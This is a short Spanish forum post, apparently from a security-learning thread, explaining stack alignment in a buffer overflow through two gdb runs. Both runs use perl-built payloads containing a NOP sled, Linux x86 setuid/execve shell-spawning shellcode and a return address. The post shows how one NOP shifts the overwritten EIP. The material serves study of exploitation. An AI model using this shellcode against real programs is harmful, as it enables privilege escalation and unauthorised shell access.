
Vlan, aplazo este último comentario tuyo, que llevo un rato haciendo pruebas con lo del alineamiento.
Mirad, a lo que yo me refiero cuando hablo de alineamiento (y quizá lo haga incorrectamente) es a esto:
Pensad que estoy dentro de gdb y que corto muuuucha basura para explicarme.
- Código: Seleccionar todo
(gdb) run `perl -e 'print "\x90"x75 . "\x31\xc9\x31\xdb\x8d\x41\x17\x99\xcd\x80\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" . "\x40\xf4\xff\xbf"x12';`
(...)
(gdb) n
0x40bffff4 in ?? ()
- Código: Seleccionar todo
(gdb) run `perl -e 'print "\x90"x76 . "\x31\xc9\x31\xdb\x8d\x41\x17\x99\xcd\x80\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" . "\x40\xf4\xff\xbf"x12';`
(...)
(gdb) n
0xbffff440 in ?? ()
Como véis en el segundo código, el registro eip se ha sobreescrito con una dirección de memoria correcta (0xbffff440) que es lo que se intenta al explotar un ejecutable, sin embargo, en el primer ejemplo, debido a que el número de NOPs no es correcto, el registro eip se ha sobreescrito con una dirección incorrecta (0x40bffff4), y eso, creo yo es debido a que los datos no están alineados correctamente.
P.D.: Sí, este hilo mola... Pero me parece que nos hemos olvidado de nuestros Windows jajaja
P.D2.: Hace horas que tendría que estar programando una aplicación para Iphone! Me lio con vosotros demasiado rápido
